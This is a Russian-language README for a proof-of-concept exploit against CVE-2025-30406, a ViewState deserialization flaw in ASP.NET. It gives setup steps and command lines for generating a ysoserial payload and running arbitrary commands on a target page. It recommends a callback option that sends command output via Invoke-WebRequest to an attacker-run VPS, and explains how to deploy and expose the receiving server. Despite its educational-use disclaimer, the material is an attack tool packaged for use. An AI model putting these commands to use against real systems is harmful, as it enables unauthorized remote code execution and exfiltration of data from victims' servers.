
CVE-2025-30406 ViewState Exploit PoC
Этот скрипт Proof-of-Concept (PoC) демонстрирует эксплуатацию десериализации ViewState для CVE-2025-30406 в ASP.NET приложениях. Он использует ysoserial для генерации вредоносной полезной нагрузки ViewState и отправляет её на указанный URL для выполнения заданной команды. Для наилучшего результата вывод команды можно отправить на пользовательский HTTP-сервер (server.py), работающий на VPS, который отображает результаты в стилизованном формате с временными метками, зелёными приглашениями и белым текстом. Этот скрипт предназначен только для образовательных целей и должен использоваться исключительно на системах, где у вас есть явное разрешение на проведение тестирования безопасности. Несанкционированное использование незаконно и неэтично.
exploit.py: Основной скрипт PoC для генерации и отправки полезной нагрузки ViewState.server.py: HTTP-сервер для получения и отображения выведенных команд в стилизованном формате.README.md: Этот файл с инструкциями по установке и использованию.requests (pip install requests)server.py (рекомендуется для эксфильтрации)git clone https://github.com/yourusername/cve-2025-30406-poc.git
cd cve-2025-30406-poc
pip install requests
exploit.py, или укажите путь к нему:
Для получения выведенных команд в стилизованном формате запустите server.py на VPS:
server.py на ваш VPS (например, через scp):
scp server.py user@your-vps-ip:/home/user/
sudo apt update && sudo apt install python3 python3-pip
python3 server.py
sudo ufw allow 8000
http://your-vps-ip:8000) для использования с флагом -e в exploit.py.Запустите exploit.py с обязательными аргументами. Флаг -e необязателен, но настоятельно рекомендуется для эксфильтрации вывода команды на server.py для стилизованного отображения.
python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]
-u, --url: Целевой URL (например, http://target.com/page.aspx) [Обязательный]-c, --command: Выполняемая команда (например, whoami) [Обязательный]-y, --ysoserial: Путь к исполняемому файлу ysoserial (по умолчанию: ./ysoserial.exe) [Необязательный]-e, --exfil: URL обратного вызова для эксфильтрации вывода команды (например, http://your-vps:8000) [Необязательный]python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
server.py (рекомендуется):
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
На вашем VPS или локальной машине запустите HTTP-сервер для получения эксфильтрированных данных:
python3 server.py
Сервер будет отображать вывод команд с временными метками, зелёным приглашением $ и белым текстом для удобства чтения.
exploit.py):
-e, команда оборачивается для захвата вывода и отправки его на URL обратного вызова через Invoke-WebRequest.__VIEWSTATE.server.py):
$ и белым текстом вывода.-e.Этот проект лицензирован по лицензии MIT. Подробнее см. в файле LICENSE.
По вопросам или для обратной связи, пожалуйста, откройте issue в этом репозитории.